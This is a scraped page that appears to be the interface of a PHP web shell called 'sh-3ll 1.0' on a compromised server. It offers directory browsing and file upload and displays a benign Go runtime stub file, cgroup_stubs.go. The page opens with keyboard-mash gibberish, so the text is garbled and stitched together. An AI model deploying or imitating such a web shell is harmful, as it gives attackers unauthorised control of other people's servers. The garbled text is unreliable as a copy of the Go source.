fhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhd dfhdfhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhdfh bnmbertsurrttrtrtrtrjhjhjjhjhhjhjhjhf'tdfg php sh-3ll

HOME


sh-3ll 1.0
DIR:/lib/golang/src/runtime/
Upload File :
Current File : //lib/golang/src/runtime/cgroup_stubs.go
// Copyright 2025 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

//go:build !linux

package runtime

func defaultGOMAXPROCSInit()          {}
func defaultGOMAXPROCSUpdateGODEBUG() {}

func defaultGOMAXPROCS(ncpu int32) int32 {
	// Use the total number of logical CPUs available now, as CPU affinity
	// may change after start.
	//
	// TODO(prattmic): On some GOOS getCPUCount can never change. Don't
	// bother calling over and over.

	procs := ncpu
	if procs <= 0 {
		procs = getCPUCount()
	}
	return procs
}